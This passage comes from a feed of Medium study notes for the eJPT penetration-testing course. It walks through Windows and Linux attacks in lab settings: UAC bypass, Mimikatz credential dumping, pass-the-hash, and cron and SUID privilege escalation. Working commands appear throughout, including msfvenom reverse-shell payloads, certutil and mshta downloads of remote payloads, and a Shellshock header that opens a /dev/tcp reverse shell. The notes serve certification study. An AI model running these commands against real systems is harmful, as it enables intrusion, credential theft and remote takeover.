Metasploit module rejetto_hfs_exec. We will have a meterpreter session.</p><p>In this case, we’ll be looking at the UACMe Akagi tool. The way to use it is:</p><pre>akagi32 (method or key) (the executable file path)</pre><p>Once we have a meterpreter session via the rejetto_hfs_exec module, we will not have administrator privileges even though we are in the local administrators group. We will however have access to the admin account. to migrate the process:</p><pre>ps -S explorer.exe (or can use) pgrep explorer<br>migrate (to the explorer process)<br>getsystem</pre><p>In this case, the getsystem command will not work as we do not have permission to elevate privileges. To bypass UAC, we will generate the malicious executable with msfvenom:</p><pre>msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip LPORT=1234 -f exe &gt; &#39;backdoor.exe&#39;</pre><p>Now in the meterpreter session that we had obtained, we need to navigate to the temp folder and upload the Akagi executable and the backdoor.exe file that we just generated.</p><pre>cd C:\\Users\\admin\\AppData\\Local\\Temp<br>upload /root/Desktop/tools/UACME/Akagi64.exe<br>upload /root/backdoor.exe</pre><p>To then set up our listener with Metasploit:</p><pre>msfconsole<br>use multi/handler<br>set payload windows/meterpreter/reverse_tcp<br>set LHOST your_ip<br>set LPORT 1234<br>exploit</pre><p>Now, go back to the original meterpreter session that we had opened and run the Akagi executable.</p><pre>shell<br>Akagi64.exe 23 C:\Users\admin\AppData\Local\Temp\backdoor.exe</pre><p>We should now have an elevated meterpreter session on our listener. To now dump the hashes, we need to migrate into the lsass process.</p><pre>ps -S lsass.exe (or can use) pgrep lsass<br>migrate (to the lsass process)<br>hashdump</pre><p>Bypassing UAC with UACMe <a href="https://medium.com/@dharmendrastm/bypassing-uac-with-uacme-2c368b2f82b3">Exploitation page</a></p><h3>Access Token Impersonation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_o4WCj1LWMzr98bU" /></figure><p>Windows access tokens are a core element of the authentication process on Windows and are created and managed by LSASS (Local Security Authority Subsystem Services). A token is responsible for identifying and describing the security context of a process or thread running on a system.</p><p>Access tokens are generated by the winlogon.exe process every time a user authenticates successfully and includes the identify and privileges of the user account associated with the thread or process. This token is then attached to the userinit.exe process, after which all child processes started by a user will inherit a copy of the access token from their creator and will run under the privileges of that access token.</p><p>Windows access tokens are categorized based on two types of the level tokens which determine which privileges are assigned to what token:</p><ol><li>Impersonate level tokens</li><li>Delegate level tokens</li></ol><p>Impersonate level tokens are created as a direct result of a non-interactive login on Windows, typically through specific system services or domain logons. They can be used to impersonate a token on the local system and not on any external systems that utilize the token.</p><p>Delegate level tokens are typically created through an interactive login on Windows, primarily through a traditional login or through remote access protocols, like RDP. These tokens pose the largest threat as they can be used to impersonate tokens on any system.</p><p>The process of impersonating access tokens to elevate privileges on a system will primarily depends on the privileges assigned to the account that has been exploited to gain initial access as well as the impersonation or delegation tokens available. You need one of the following tokens (primarily the SeImpersonatePrivilege token) to perform a successful impersonation attack:</p><ul><li>SeAssignPrimaryToken - allows a user to impersonate tokens</li><li>SeCreateToken - allows a user to create an arbitrary token with administrative privileges</li><li>SeImpersonatePrivilege - allows a user to create a process under the security context of another user typically with administrative privileges</li></ul><p>In order to perform this attack, we will be using a Metasploit module called incognito which allows you to impersonate user tokens after successful exploitation. We can use it to display a list of available tokens that we can impersonate. In this case, the target is also vulnerable to the rejetto_hfs_exec Metasploit module that we used previously.</p><p>In this case, if you run the getprivs command within the Meterpreter session, we have access to the SetImpersonatePrivilege privilege. To now use the tool incognito within meterpreter:</p><pre>load incognito<br>list_tokens -u<br>impersonate_token &quot;the name of the token you want to impersonate&quot;</pre><p>We can now migrate to the explorer process, and we will have elevated privileges.</p><p>In the case that we do not find any useful or administrative tokens to impersonate; we can utilize the potato attack which will cover later.</p><h3>Windows File System Vulnerabilities</h3><h3>ADS</h3><p>ADS stands for Alternate Data Streams is an NTFS file attribute and was designed to provide compatibility with the MacOS HFS system. Any file created on an NTFS formatted drive will have two different streams:</p><ol><li>Data stream — default stream that contains the data of the file</li><li>Resource stream — typically contains the metadata of the file</li></ol><p>Attackers can use ADS to hide malicious code or executables in legitimate files in order to evade detection. This can be done by storing the malicious code or executables in the file attribute resource stream (metadata) of a legitimate file. This technique is usually used to evade basic signature based AVs (anti-virus) and static scanning tools.</p><p>For example, in the command prompt we can make a file within the resource stream, making it hidden, using notepad on the desktop. If no data is inputted into test.txt, it will show up as having 0 bytes of data even though data is stored in secret.txt.</p><pre>notepad test.txt:secret.txt</pre><p>For example, say we have a malicious payload on the Desktop, let’s load or copy this file into the Temp directory. To then hide it within the resource stream of another file:</p><pre>payload.exe &gt; windowslog.txt:payload.exe</pre><p>We can then delete the payload file as we have hidden it in the windowslog.txt file. We can now make a link such that when we type that command into the command prompt it will execute the file hidden within the windowslog.txt file. Make sure you do this with administrative privileges.</p><pre>cd Windows\System32<br>mklink winlog.exe C:\Temp\windowslog.txt:payload.exe</pre><h3>Windows Credential Dumping</h3><p>Windows stores hashed user account passwords locally in the SAM (Security Accounts Manager) database. Authentication and verification of user credentials is facilitated by the LSA (Local Security Authority). This all ties into the LSASS (Local Security Authority Subsystem Service) process.</p><p>Windows versions up to Windows Server 2003 utilize LM and NTLM hashes. From Windows Vista onwards, only NTLM hashes are utilized.</p><p>Note that you need an elevated or administrative level session to dump hashes.</p><h3>Security Account Manager {SAM Database}</h3><p>SAM is a database file that is responsible for managing user accounts and passwords on Windows. All user account passwords stored in the SAM database are hashed. The SAM database file cannot be copied while the operating system is running. The Windows NT kernel keeps the SAM database file locked and as a result, attackers typically utilize in-memory techniques and tools to dump SAM hashes from the LSASS process. In modern versions of Windows, the SAM database is encrypted with a syskey.</p><h3>LAN Manager {LM Hashes}</h3><p>LM (LanMan) is the default hashing algorithm that was implemented in Windows before NTLM. LM hashing is considered to be a weak protocol and can easily be cracked, primarily because the password hash does not include salts, consequently making brute-force and rainbow table attacks effective against LM hashes. The hashing process can be broken down into the following steps:</p><ul><li>The password is broken down into two 7 character chunks</li><li>All characters are then converted into uppercase</li><li>Each chunk is then hashed separately with the DES algorithm.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NDu63eHUba-Q29inDtXSHA.png" /></figure><h3>New Technology LAN Manager {NTLM Hashes}</h3><p>NTLM is a collection of authentication protocols that are used to facilitate authentication between computers. The authentication process involves using a valid username and password to authenticate successfully. When a user account is created, it is encrypted using the MD4 hashing algorithm, while the original password is disposed of.</p><p>NTLM improves on LM in the following ways:</p><ul><li>Doesn’t split the hash into two chunks</li><li>Case sensitive</li><li>Allows the use of symbols and Unicode characters</li></ul><p>Again, they do not include salts, so brute-force and rainbow table attacks are effective.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9pejeWYOVy9ouOjTQxia7Q.png" /></figure><h3>Configuration Files</h3><p>Windows can automate a variety of repetitive tasks, such as the mass rollout or installation of Windows on many systems. This is typically done through the use of the Unattended Windows Setup utility. This tool utilizes configuration files that contain specific configurations and user account credentials, specifically the Administrator account’s password.</p><p>If the Unattended Windows Setup configuration files are left on the target system after installation, they can reveal user account credentials that can be used by attackers to authenticate with the Windows system legitimately.</p><p>As a security precaution, the passwords stored may be encoded in base 64 (which can be cracked as well). You will typically find the file under the following directories:</p><ul><li>C:\Windows\Panther\Unattend.xml</li><li>C:\Windows\Panther\Autounattend.xml</li></ul><p>We can generate a meterpreter payload with msfvenom. Since we know it&#39;s a 64-bit system:</p><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=your_ip LPORT=123 -f exe &gt; payload.exe</pre><p>We then set up a web server to host the payload:</p><pre>python -m SimpleHTTPServer 80</pre><p>Since we have access to the target system already, we can switch to the victim’s system and open the command prompt.</p><pre>certutil -urlcache -f http://your_ip/payload.exe payload.exe</pre><p>We can now open Metasploit and set up the multi-handler like we have done previously. Now, once we run the payload.exe file on the target system, we will have a meterpreter session. We can now find the unattend.xml file.</p><p>Once downloaded onto our system, we can see that the password is encoded in base 64 as the Plaintext option is set to false. We can first write the password to a new file called password.txt.</p><pre>base64 -d password.txt</pre><p>We can now use the PsExec tool or the Metasploit module to obtain a shell using these credentials.</p><p>There is another method to gain privileges. In this case, since we already have access to the target system, we can run a PowerShell script to find a privilege escalation vulnerability.</p><pre>cd .\Desktop\PowerSploit\Privesc\<br>powershell -ep bypass<br>. .\PowerUp.ps1<br>Invoke-PrivescAudit</pre><p>We can now see that the unattend.xml file is on the system, and we can cat out the contents. We can decode the password using PowerShell:</p><pre>$password=&#39;QWRtaW5AMTIz&#39;<br>$password=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($password))<br>echo $password</pre><p>We can now open up a command prompt as an administrator:</p><pre>runas.exe /usr:administrator cmd</pre><p>Now, we’ll switch to our Kali machine and run the hta_server Metasploit module which hosts a HTML application. When opened, if will run a payload via PowerShell. We can copy the link that Metasploit generates with the payload and paste it into the command prompt.</p><pre>mshta.exe http://the_link</pre><p>We should now have a meterpreter shell with administrator privileges.</p><h3>Dumping Hashes with Mimikatz</h3><p>Mimikatz is a Windows post-exploitation tool that allows for the extraction of clear-text passwords, hashes and Kerberos tickets from memory. We can use it to extract hashes from the lsass.exe process memory where hashes are cached. We can use the pre-compiled Mimikatz executable or if we have access to a meterpreter session, we can use Kiwi. We will require elevated privileges to run this.</p><p>The first step, as usual is to perform an Nmap scan. We can see that the target is running a BadBlue service on port 80. There is a Metasploit module to exploit this called badblue_passthru. Once exploited, we will have administrator privileges, and we can now migrate to the LSASS service and we will therefore have the highest privileges.#</p><p>We can now load kiwi in our meterpreter session and dump all the credentials or we could dump the SAM database, which will dump the hashes for all the user accounts on the system.</p><pre>creds_all<br>lsa_dump_sam</pre><p>Alternatively to use Mimikatz, we can use our current meterpreter session and navigate to the Temp directory. We can then upload the Mimikatz executable on the target system.</p><pre>upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe</pre><p>We can then open up a shell session and run the executable. The first thing would be to check our privileges after we have run the executable and then we can dump the SAM database.</p><pre>privilege::debug<br>lsadump::sam<br>lsadump::secrets</pre><p>Another useful thing we can run with Mimikatz is that if the system is set to log the logon passwords in cleartext, we can view them by running sekurlsa::logonpasswords.</p><p>If you’d like to get the LM hash as well as the NTLM hash just type hashdump in your meterpreter session and we will be provided with both to use in the next attack.</p><h3>Pass-the-Hash Attacks</h3><p>It is an exploitation technique that involves capturing or harvesting NTLM hashes or clear-text passwords and utilizing them to authenticate with the target legitimately. This will allow us to gain access as opposed to obtaining access via service exploitation.</p><p>We can use the Metasploit PsExec module or the Crackmapexec tool to do this. You need the LM hash as well as the NTLM hash to do this.</p><pre>The exploit module within Metasploit is:<br>exploit/windows/smb/psexec</pre><pre>set SMBUser (username)<br>set SMBPass (LM_hash:NTLM_hash)</pre><p>You will have to set a target to get a meterpreter session.</p><pre>crackmapexec smb (target ip) -u (username) -H &quot;NTLM Hash&quot; -X &quot;any command you&#39;d like to run&quot;</pre><h3>Linux Based Attack</h3><p>Topics:</p><ul><li>Introduction</li><li>Exploiting Linux Vulnerabilities</li><li>Linux Privilege Escalation</li><li>Linux Credential Dumping</li></ul><h3>Introduction</h3><p>Linux is a free and open-source OS that is comprised of the Linux kernel, and the GNU toolkit. Linux has various use-cases but it’s typically deployed as a server operating system.</p><p>For this reason, there are specific services and protocols that will typically be found running on a Linux server. These services provide an attacker with an access vector that they can utilize to gain access to a target host.</p><h4>Frequently Exploited Services</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/0*tkxU8wpQBv2QiLhz.png" /></figure><h3>Exploiting Linux Vulnerabilities</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tTjWqiSG4EAVrLWa" /></figure><h3>CVE-2014–6271 Shellshock</h3><p>The Linux Bash vulnerability Shellshock (CVE-2014–6271) is the name given to a vulnerability that is found in the Bash shell (since V1.3) that allow an attacker to execute remote arbitrary commands via Bash, consequently allowing the attacker to obtain remote access to the target system via a reverse shell. It was discovered by Stephane Chazelas on 12/09/2014 and was made public on 24/09/2014.</p><p>Bash is a Nix shell that is part of the GNU project and is the default shell for most Linux distributions. This vulnerability is caused by Bash whereby Bash executes trailing commands after a series of characters: (){:;};. This only affects Linux as Windows is not based on Nix.</p><p>In the context of remote exploitation, Apache web servers configured to run CGI scripts or .sh scripts are also vulnerable to this attack. CGI (Common Gateway Interface) scripts are used by Apache to execute arbitrary commands on the Linux system after which the output is display to the client.</p><p>In order to exploit it, you will need to locate an input vector or script that allows you to communicate with Bash. In the context on an Apache web server, we can utilize any legitimate CGI scripts accessible on the web server. Whenever a CGI script is executed, the web server will initiate a new process and run the CGI script with Bash.</p><p>Whenever we make a new HTTP request with a CGI script, then the server will run it with Bash so we can essentially input those characters within the User-Agent HTTP header followed by any other commands. It can be exploited manually or automatically with an exploit module.</p><p>We can check if an Apache web server is vulnerable to this attack using Nmap. Replace the /gettime.cgi with the path of the CGI script on the web server you are performing this on.</p><pre>nmap -sV (target ip) --script=http-shellshock --script-args &quot;http-shellshock.uri=/gettime.cgi&quot;</pre><p>To exploit this, we need to have FoxyProxy enabled on Firefox to send traffic to Burp Suite. Then go to the tab, Proxy, and ensure that the intercept is on. Now, reload the page with the CGI script and send the traffic to the Repeater. Then delete the User-Agent information and replace it with the following. You can replace the reverse shell information with any command.</p><pre>() { :; }; echo; echo; /bin/bash -c &#39;bash -i&gt;&amp;/dev/tcp/your_ip/listen_port 0&gt;&amp;1&#39;</pre><p>To exploit this with the Metasploit framework, it has an auxiliary and exploit module. To run this, set the RHOSTS value to the target IP address and the TARGETURI value to the URL where the CGI file is running (in this case, it&#39;s /gettime.cgi). Also set the LHOST option to your IP address. Once this is done, you will have a meterpreter session.</p><p>The auxiliary module — apache_mod_cgi_bash_env<br>The exploit module - apache_mod_cgi_bash_env_exec</p><p>View some of the notes for this section here —<a href="https://medium.com/@dharmendrastm/shellshock-vulnerability-lab-3827c963287f"> Enumeration page</a></p><h3>FTP</h3><p>The first step as normal is to run a Nmap scan. In this case, we are running ProFTPD. You can check if anonymous login is enabled or not using the Nmap script ftp-anon. In this case, we will performing a brute-force with Hydra. Note that you can also use Searchsploit to find exploits for the specific version of ProFTPD.</p><p>View some of the notes for this section here —<a href="https://medium.com/@dharmendrastm/this-task-is-to-perform-ftp-enumeration-with-metasploit-c65f55e62581"> Enumeration Page</a>.</p><h3>SSH</h3><p>Note that if key-based authentication has been setup, we cannot really exploit SSH as we will need the private key. However if, as it is in some cases, it can been setup with username and password authentication, then we can brute-force those credentials and exploit it. We will exploit it in the same way we did for FTP. To connect via SSH:</p><pre>ssh username@target_ip           </pre><p>View some of the notes for this section here — <a href="https://medium.com/@dharmendrastm/ssh-secure-shell-is-a-network-protocol-that-allows-secure-access-to-remote-systems-over-an-8481c5010aca">Enumeration page</a></p><h3>SAMBA</h3><p>This is essentially the Linux implementation of SMB. We can exploit it in a similar way to how we exploited it with Windows. However, in this case, we will be brute-forcing credentials and then gain access. Similar process to FTP here as well. Once we have obtained credentials, we can use a tool called smpmap to view the shares.</p><pre>smbmap -u username -p password -H target_ip</pre><p>To list and access these shares, we can use a tool called smbclient.</p><pre>smbclient -L target_ip -U username<br>smbclient //target_ip/share_name -U username</pre><p>We could also use the enum4linux tool to enumerate information.</p><pre>enum4linux -a target_ip<br>enum4linux -a -u username -p password target_ip</pre><p>Enumeration page —<a href="https://medium.com/@dharmendrastm/smb-exploitation-6a7573858f9e"> System or Host Based Attacks (I) Page.</a></p><h3>Linux Privilege Escalation</h3><h3>Linux Kernel</h3><p>Kernel exploits on Linux will typically target vulnerabilities in the Linux kernel to execute arbitrary code in order to run privileged system commands to obtain a system shell. This process will differ based on the kernel version and distribution being targeted and the kernel exploit being used.</p><p>Privilege escalation on Linux systems will typically follow the following methodology:</p><ol><li>Identify kernel vulnerabilities</li><li>Downloading, compiling and transferring kernel exploits onto the target system</li></ol><p>We will be using the tool Linux-Exploit-Suggester. it is designed to assist in detecting security deficiencies for the given Linux kernel version. It assesses the exposure of the given kernel on every publicly known Linux kernel exploit. It can be found on GitHub <a href="https://github.com/mzet-/linux-exploit-suggester">here</a>. Again, note that kernel exploit can cause crashes and data loss. You will also need to have already obtained access to the target system as you have to transfer the exploit suggester to the target system.</p><p>Once you have run it on the target system, keep a note of the kernel version, the architecture, the distribution and the distribution version. In this case, we’ll be looking at the dirtycow exploit with the CVE code of CVE-2016–5195. Head over to the exploit database website and have a look at how to compile and run the exploit code.</p><h3>Cron Jobs</h3><p>Linux implements task scheduling through a utility called Cron. Cron is a time-based service that runs applications, scripts and other commands repeatedly on a specified schedule. An application or script that has been configured to be run repeatedly with Cron is known as a Cron job. It can be used to automate or repeat a wide variety of functions on a system, from daily backups to system upgrades and patches.</p><p>The crontab file is a configuration file that is used by the Cron utility to store and track Cron jobs that have been created. Cron jobs can also be run as any user on the system, but we will be targeting Cron jobs that have been configured to run as the ‘root’ user.</p><p>This is primarily because any script or command that is run by a Cron job will run as the root user and will consequently provide us with root access. In order to elevate our privileges, we will need to find and identify Cron jobs that have been scheduled by the root user or the files being processed by the Cron job.</p><p>There are multiple vulnerabilities or misconfigurations with Cron jobs and in this case, we’ll be looking at if there is a shell script being run in a Cron job. We can check what permissions are on that shell script and exploit it by adding in our own commands.</p><p>In this case, we are already given access to the target system as a user with low privileges. We are not in the sudo group either. To find out the Cron jobs that have been set by the ‘root’ user, we know that there is a file on the home directory that is owned by the ‘root’ user. We can use the grep tool to look for whenever the file path to that file is ran.</p><pre>grep -rnw /usr -e &quot;/home/student/message&quot;</pre><p>We can see that the file is available in the Temp directory and we can read the contents of it. To check if we have permissions to edit or execute the shell file that the file is being called in.</p><pre>ls -al /usr/local/share/copy.sh</pre><p>Since all users do have edit and execute permissions, we will try to add ourselves to the administrators group so that we can gain ‘root’ privileges.</p><pre>printf &#39;#!/bin/bash\necho &quot;student ALL=NOPASSWD:ALL&quot; &gt;&gt; /etc/sudoers&#39; &gt; /usr/local/share/copy.sh<br>sudo su</pre><p>And now, we have elevated our privileges to the root user.</p><p><a href="https://medium.com/@dharmendrastm/cron-jobs-gone-wild-ii-f4b4acaef158">Enumeration page</a></p><h3>SUID Binaries</h3><p>In addition to the main 3 file access permissions (read, write and execute). Linux also provides users with specialized permissions that can be utilized in specific situations. One of these access permissions is SUID (Set Owner User ID) permission. When applied, this permission provides users with the ability to execute a script or binary with the permissions of the file owner as opposed to the user that is running the script or binary.</p><p>SUID permissions are typically used to provide unprivileged users with the ability to run specific scripts or binaries with ‘root’ permissions. It is to be noted that the provision of elevated privileges is limited to the execution of the script and doesn’t translate to the elevation of privileges. However, if it’s not configured properly, then unprivileged users can exploit those misconfigurations or vulnerabilities within the binary or script to obtain an elevated session.</p><p>This is the functionality that we will be attempting to exploit in order to elevate our privileges. The success of our attack will depend on the following factors:</p><ul><li>Owner of the SUID binary — given that we are attempting to elevate our privileges, we will only be exploiting SUID binaries that are owned by the ‘root’ user or other privileged users</li><li>Access permissions — we will require executable permissions in order to execute the SUID binary</li></ul><p>In this case, we are already given access to the target system as a user with low privileges. We are not in the sudo group either. There is a binary called welcome in which it has the x permission which allows us to execute the file. It also has the s permission which is the SUID permission.</p><p>We can type strings and then the file to look at the binary file closely. It executes an external binary called greetings. So if we can edit or change the file greetings to run what we want, we can elevate our privileges.</p><pre>rm greetings<br>cp /bin/bash greetings</pre><p>Since it will run the greetings binary again, it will run a bash session which will elevate our privileges to the ‘root’ user. Another attack vector is to find missing shared objects which are being called upon by the SUID binary and then creating your own shared object.</p><p>SUID <a href="https://medium.com/@dharmendrastm/suid-exploiting-0346d4b4337c">Enumeration page</a></p><h3>Linux Credential Dumping</h3><p>Unlike Windows, we cannot really use hashed passwords for authentication. We can only use these hashes for cracking, which we will explore later.</p><p>Linux has multi-user support, and therefore, multiple users can access the system simultaneously. This can be seen as an advantage and disadvantage in that multiple accounts offer multiple access vectors for attackers, and therefore increase the overall risk of the server.</p><p>All the information for all account on Linux is stored is the passwd file location in :/etc/passwd. We cannot view the passwords for the users because the passwd file is encrypted and readable by any user on the system.</p><p>All the encrypted passwords for the users are stored in the shadow file, which can be found in the following directory :/etc/shadow. The shadow file can only be accessed and read by the root account, this is a very important security feature as it prevents other accounts on the system from accessing the hashed passwords.</p><p>The passwd file gives us information in regards to the hashing algorithm that is being used and the password hash. This is very helpful as we are able to determine the type of the hashing algorithm that is being used and its strength. We can determine this by looking at the number after the username encapsulated by the dollar symbol.</p><ul><li>$1 — uses the MD5 hashing algorithm</li><li>$2 — uses the Blowfish hashing algorithm</li><li>$5 — uses the SHA-256 hashing algorithm</li><li>$6 — uses the SHA-512 hashing algorithm</li></ul><p>In this case, we need to exploit the target first, so we can run an Nmap scan. We can see that its running ProFTPD on port 21. We can now use Searchsploit to find an exploit. In this case, there is a Metasploit module available to use.</p><p>We now have a shell session. So we can run /bin/bash -i. We can then elevate it to a meterpreter session by putting into the background and running the following command.</p><pre>sessions -u (session_id)</pre><p>Since we have ‘root’ access, we can open the shadow file. We can also search for the Linux hashdump module on Metasploit.</p><p>Linux Credential Dumping <a href="https://medium.com/@dharmendrastm/dumping-linux-password-hashes-2dec7192b56c">Enumeration page</a></p><p>Thankyou for Reading!</p><p><strong>Happy CTF Hacking!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=956cfbe914bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT — 1.4 Vulnerability Assessment]]></title>
            <link>https://dharmstm.medium.com/ejpt-1-4-vulnerability-assessment-85ed97372f20?source=rss-65613310e14b------2</link>
            <guid isPermaLink="false">https://medium.com/p/85ed97372f20</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[vulnerability-assessment]]></category>
            <dc:creator><![CDATA[Dharmendrakumar]]></dc:creator>
            <pubDate>Fri, 12 Sep 2025 20:45:24 GMT</pubDate>
            <atom:updated>2026-01-27T20:42:39.447Z</atom:updated>
            <content:encoded><![CDATA[<h3>eJPT — 1.4 Vulnerability Assessment</h3><p>Hi all!</p><p>Welcome to our Vulnerability Assessment blog</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-XNf1qzpbAz9svxu" /></figure><p>Topics:</p><ul><li>Windows Vulnerabilities</li><li>CVE-2017–0144 EternalBlue</li><li>CVE-2019–0708 BlueKeep</li><li>Pass-the-Hash Attacks</li><li>Linux Vulnerabilities</li><li>CVE-2014–6271 Shellshock</li><li>Nessus</li><li>WMAP</li></ul><h3>Windows Vulnerabilities</h3><p>Has been the dominant OS worldwide for a while</p><ul><li>Vulnerabilities ranging from MS08–067 to MS17–010</li><li>Has various OS versions and releases, makes the threat surface fragmented</li></ul><p>They share a likeness given the development and philosophy:</p><ul><li>Developed in C++ making them vulnerable to buffer overflows, arbitrary code execution, etc.</li><li>Not configured to run securely by default</li><li>Newly discovered vulnerabilities are not immediately patched by Microsoft</li><li>Vulnerable to cross platform vulnerabilities (like SQL injection attacks)</li><li>Also vulnerable to physical attacks</li></ul><p>As for the types of Windows vulnerabilities, some of the categories are:</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*Beu0UZU_ujSBX1-PhoBLPw.png" /></figure><h3>Frequently Exploited Services</h3><p>Windows has various native services and protocols. These services provide an attacker with an access vector that they can utilize to gain access to a target host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*o8060RF9n0TdRzn372PKvQ.png" /></figure><h3>Scanning With Metasploit</h3><p>Vulnerability scanning it to scan a system for vulnerabilities and verifying whether they can be exploited. We will be mainly using auxiliary and exploit Metasploit modules to scan and identify inherent vulnerabilities in services, OS, and web applications.</p><p>You can search for exploits within Metasploit using:</p><pre>search type:exploit  name:(your search)</pre><p>To search for Metasploit framework exploit modules from within a Kali terminal:</p><pre>searchsploit &quot;your search&quot; | grep -e &quot;Metasploit&quot;</pre><p>One very useful tool is metasploit-autopwn. It&#39;s available on GitHub <a href="https://github.com/hahwul/metasploit-autopwn">here</a>.</p><pre>To download the tool:<br>wget https://raw.githubusercontent.com/hahwul/metasploit-autopwn/master/db_autopwn.rb</pre><pre>To move it into the metasploit framework<br>cd metasploit-autopwn<br>mv db_autopwn.rb /usr/share/metasploit-framework/plugins</pre><pre>To load it within metasploit:<br>load db_autopwn<br>db_autopwn -p -t -PI</pre><p>We can also use the analyze command to analyse an IP within the Metasploit framework for vulnerabilities which it has detected for which exploits are available.</p><h3>WebDAV Vulnerabilties</h3><p>Microsoft IIS (Internet Information Services) is a web server software developed by Windows. It can be used to host website or web apps and provides admins with a GUI to manage websites. It can be used to host both static and dynamic web pages developed in <a href="http://asp.net/">ASP.NET</a> and PHP. Normally runs on port 80 and 443.</p><p>The supported executable file extensions for IIS are:</p><ul><li>.asp</li><li>.aspx</li><li>.config</li><li>.php</li></ul><p>WebDAV (Web-based Distributed Authoring and Versioning) is a set of extensions to the HTTP protocol which allows users to collaboratively edit and manages files on remote web servers. It runs on top of Microsoft IIS on ports 80 and 443.</p><p>In order to connect to a WebDAV server, you have to provide credentials because it implements authentication (username and password). To exploit:</p><ol><li>Identify whether WebDAV is running on IIS or Apache</li><li>Perform a brute-force attack to identify legitimate credentials to use for authentication</li><li>Authenticate with WebDAV</li><li>Upload a malicious .asp payload that can be used to execute arbitrary commands or obtain a reverse shell on the target</li></ol><p>One of the tools we can use to exploit WebDAV is Davtest. Davtest is a scanner that will upload a directory and then it sends files with all different types of extensions to the WebDAV server and tries to execute them. It will then list out the file extensions that work this helps us know which web shell executable file to use against the WebDAV server. and lab of <a href="https://medium.com/@dharmendrastm/exploit-the-webdav-service-and-retrieve-the-flag-979d35f63dbe">WebDAV</a></p><pre>davtest -auth username:password -url http://targetip/webdav</pre><p>Another tool is cadaver. It’s used for uploading, editing and moving files on a WebDAV server. We will use it to upload a web shell to the target IP address</p><pre>cadaver http://targetip/webdav<br>put /usr/share/webshells/asp/webshell.asp</pre><pre>(In other cases, where php is accepted, we can use that webshell instead of asp)</pre><p>To brute-force credentials using hydra:</p><pre>hydra -L /usr/share/wordlists/metasploit/common_users.txt -P /usr/share/wordlists/metasploit/common_passwords.txt (target ip) http-get /webdav/</pre><h3>CVE-2017–0144 EternalBlue</h3><p>The Windows <a href="https://medium.com/@dharmendrastm/expoliting-windows-smbv1-vulnerability-137b6c56206d">SMB vulnerability EternalBlue</a> (MS17–010 / CVE-2017–0144) is the name given to a collection of Windows vulnerabilities and exploits that allow attackers to remotely execute arbitrary code and gain access to a Windows system and consequently the network that the target system is a part of.</p><p>It was developed by the NSA and then leaked to the public by a hacker group called the Shadow Brokers in 2017. It takes advantage of a vulnerability in the SMBv1 protocol that allows attackers to send specially crafted packets that allow to get a meterpreter session or a reverse shell.</p><p>It was used in the WannaCry ransomware attack on June 27, 2017 to exploit other Windows systems across networks with the objective of spreading the ransomware to as many systems as possible.</p><p>It affects multiple versions of Windows:</p><ul><li>Windows Vista</li><li>Windows 7</li><li>Windows Server 2008</li><li>Windows 8.1</li><li>Windows Server 2012</li><li>Windows 10 (only a certain build)</li><li>Windows Server 2016</li></ul><p>Microsoft released patch for vulnerability in 2017 but many systems and companies have not yet patched their systems. It has an MSF auxiliary module that can be used to check if a target system is vulnerable to the exploit. It also has an exploit module that can be used to exploit the vulnerability on unpatched systems.</p><p>The auxiliary module — smb_ms17_010<br>The exploit module - ms17_010_eternalblue</p><p>You can also manually exploit the vulnerability by utilizing publicly available exploits. To exploit it manually, it’s called AutoBlue-MS17–010 and can be found <a href="https://github.com/3ndG4me/AutoBlue-MS17-010">here</a>.</p><pre>cd shellcode<br>chmod +x shell_prep.sh<br>./shell_prep.sh</pre><pre>chmod +x eternalblue_exploit7.py<br>python eternalblue_exploit7.py (target ip) shellcode/sc_x64.bin</pre><p>You can check if a system is vulnerable to this attack via Nmap:</p><pre>nmap -sV -p445 --script=smb-vuln-ms17-010 (target ip)</pre><p>Tip to set up a netcat listener:</p><pre>nc -nvlp (the port you are listening on)</pre><h3>CVE-2019–0708 BlueKeep</h3><p>The Windows RDP vulnerability BlueKeep (CVE-2019–0708) is the name given to a vulnerability that can potentially allow attackers to remotely execute arbitrary code and gain access to a Windows system. It was made public by Microsoft in May 2019 alongside which they released a patch for companies to repair. When discovered, about 1 million systems were vulnerable.</p><p>This exploit takes advantage of a vulnerability in the Windows RDP protocol that allows attackers to gain access to the kernel memory and execute code remotely at the system level without needing authentication.</p><p>It affects multiple versions of Windows:</p><ul><li>XP</li><li>Vista</li><li>Windows 7</li><li>Windows Server 2008 &amp; R2</li></ul><p>It has many various illegitimate proof of concepts and exploit code that could be malicious in nature and is therefore recommended to only use verified exploit code and modules for exploitation. It has an auxiliary and exploit module that can be used to exploit unpatched systems.</p><p>The auxiliary module — cve_2019_0708_bluekeep The exploit module - cve_2019_0708_bluekeep_rce</p><p>Note that targeting Kernel space memory and applications will and can cause crashes. To avoid this, you want to be very careful and reduce the space that you are exploiting.</p><h3>Pass-the-Hash Attacks</h3><p>It is an exploitation technique that involves capturing or harvesting NTLM hashes or clear-text passwords and utilizing them to authenticate with the target legitimately. This will allow us to gain access as opposed to obtaining access via service exploitation.</p><p>We can use the Metasploit PsExec module or the Crackmapexec tool to do this. You need the LM hash as well as the NTLM hash to do this.</p><pre>The exploit module within Metasploit is:<br>exploit/windows/smb/psexec</pre><pre>set SMBUser (username)<br>set SMBPass (LM_hash:NTLM_hash)</pre><p>You will have to set a target to get a meterpreter session.</p><pre>crackmapexec smb (target ip) -u (username) -H &quot;NTLM Hash&quot; -X &quot;any command you&#39;d like to run&quot;<br>crackmapexec smb demo.ine.local -u Administrator -H 